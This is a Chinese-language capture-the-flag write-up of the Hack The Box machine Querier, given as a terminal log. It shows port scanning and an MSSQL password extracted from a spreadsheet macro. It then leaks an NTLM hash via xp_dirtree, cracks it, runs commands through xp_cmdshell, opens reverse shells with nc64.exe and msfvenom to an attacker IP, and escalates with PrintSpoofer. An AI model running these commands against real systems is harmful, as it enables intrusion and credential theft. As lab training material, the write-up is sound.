端口扫描

┌──(mikannse㉿kali)-[~]
└─$ sudo nmap --min-rate=10000 -p- 10.10.10.125
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-08 20:29 CST
Warning: 10.10.10.125 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.125
Host is up (0.070s latency).
Not shown: 64291 closed tcp ports (reset), 1230 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 18.08 seconds
┌──(mikannse㉿kali)-[~]
└─$ sudo nmap -sT -sV -sC -O -p135,139,445,1433,5985,47001 10.10.10.125
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-08 20:31 CST
Nmap scan report for 10.10.10.125
Host is up (0.066s latency).

PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|_ssl-date: 2024-09-08T12:21:51+00:00; -10m13s from scanner time.
| ms-sql-info:
| 10.10.10.125:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.10.10.125:1433:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: QUERIER.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-09-08T12:10:36
|_Not valid after: 2054-09-08T12:10:36
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2019 (96%), Microsoft Windows Server 2012 (93%), Microsoft Windows Vista SP1 (93%), Microsoft Windows 10 1709 - 1909 (93%), Microsoft Windows Longhorn (92%), Microsoft Windows 10 1709 - 1803 (91%), Microsoft Windows 10 1809 - 2004 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -10m12s, deviation: 0s, median: -10m13s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-09-08T12:21:46
|_ start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.36 seconds

开了smb和mssql

MSSQL

┌──(mikannse㉿kali)-[~]
└─$ smbclient -L //10.10.10.125/
Password for [WORKGROUP\mikannse]:

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reports Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

连接Reports共享后有一个xlsm文件,打开发现是一张空白的表,也没有宏脚本。对于这种office文件,通常可以解压

xl目录通常是存放数据的地方,里面的vbaProject.bin存放的是vb宏的脚本文件,strings一下找到了连接数据库的指令:

Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6

得到了用户和密码reporting:PcwTWTHRwryjc$c6,使用凭证连接

┌──(mikannse㉿kali)-[~/HTB/querier/xl]
└─$ mssqlclient.py reporting@10.10.10.125 -windows-auth
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL (QUERIER\reporting reporting@volume)>

一些常见的枚举指令可见:

https://book.hacktricks.xyz/v/cn/network-services-pentesting/pentesting-mssql-microsoft-sql-server

查询数据库:

SQL (QUERIER\reporting  reporting@volume)> SELECT name FROM master.dbo.sysdatabases;
name
------
master

tempdb

model

msdb

volume

查了一下volume库什么都没有,现在的身份也无法执行xp_cmdshell

SQL (QUERIER\reporting  guest@master)> Use master
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
SQL (QUERIER\reporting guest@master)> EXEC sp_helprotect 'xp_cmdshell'
ERROR: Line 291: There are no matching rows on which to report.

但是似乎是可以执行xp_dirtree的,那么可以尝试之前那个房间的方式,对本地的smb服务器进行访问来得到ntlm,不过这次需要开启smb2支持

SQL (QUERIER\reporting  guest@master)> exec master.dbo.xp_dirtree '\\10.10.14.7\share'
subdirectory depth
------------ -----
┌──(mikannse㉿kali)-[~/HTB/querier]
└─$ impacket-smbserver share . -smb2support
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.125,49681)
[*] AUTHENTICATE_MESSAGE (QUERIER\mssql-svc,QUERIER)
[*] User QUERIER\mssql-svc authenticated successfully
[*] mssql-svc::QUERIER:aaaaaaaaaaaaaaaa:66d4b07cd983388c5ba62203672d3393:010100000000000000444be6f101db019de303ea67f2476a00000000010010005800480059006f004100580075006a00030010005800480059006f004100580075006a0002001000680062004b00460062006d005100720004001000680062004b00460062006d00510072000700080000444be6f101db0106000400020000000800300030000000000000000000000000300000c2c6f695cae5412ca83258aac5838a61b323be24f45f355c5c3441e43ff633b30a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003700000000000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:share)
[*] AUTHENTICATE_MESSAGE (\,QUERIER)
[*] User QUERIER\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa

破解哈希,但是发现无法使用evil-winrm登录

┌──(mikannse㉿kali)-[~/HTB/querier]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568 (mssql-svc)
1g 0:00:00:03 DONE (2024-09-08 21:23) 0.2967g/s 2658Kp/s 2658Kc/s 2658KC/s correemilio..cornamona
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

但是能够用于再次mssql登录,现在的身份可以使用xp_cmdshell了

SQL (QUERIER\mssql-svc  dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin');

-
1
SQL (QUERIER\mssql-svc  dbo@master)> Use master
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
SQL (QUERIER\mssql-svc dbo@master)> EXEC sp_helprotect 'xp_cmdshell'
ERROR: Line 291: There are no matching rows on which to report.

发现xm_cmdshell还没开启,可以使用下面着一句话开启

SQL (QUERIER\mssql-svc  dbo@master)> EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (QUERIER\mssql-svc  dbo@master)> EXEC master..xp_cmdshell 'whoami'
output
-----------------
querier\mssql-svc

NULL

提权

生成一个反弹shell

┌──(mikannse㉿kali)-[~/HTB/querier]
└─$ sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=443 -f ps1 -o shell.ps1

但是反弹不了,也许是没过杀软?那就用万能的nc,用smb服务器来启动

SQL (QUERIER\mssql-svc  dbo@master)> EXEC xp_cmdshell '\\10.10.14.7\share\nc64.exe -e cmd.exe 10.10.14.7 443'
C:\Windows\system32>whoami /all
whoami /all

USER INFORMATION
----------------

User Name SID
================= ==============================================
querier\mssql-svc S-1-5-21-3654930405-3667393904-3517260747-1001


GROUP INFORMATION
-----------------

Group Name Type SID Attributes
==================================== ================ =============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Performance Monitor Users Alias S-1-5-32-558 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQLSERVER Well-known group S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 Enabled by default, Enabled group, Group owner
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

发现有SeImpersonatePrivilege权限,可以模拟令牌,使用PrintSpoofer,配合nc使用,用wget下载到靶机上

https://github.com/itm4n/PrintSpoofer

C:\Users\mssql-svc\Desktop>.\print.exe -c ".\nc64.exe 10.10.14.7 444 -e cmd.exe"
.\print.exe -c ".\nc64.exe 10.10.14.7 444 -e cmd.exe"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
┌──(mikannse㉿kali)-[~/HTB/querier]
└─$ rlwrap -cAr nc -lvnp 444
listening on [any] 444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.125] 49694
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

碎碎念

用来学习MSSQL的一个非常非常好的房间!!!后面的提权是老朋友了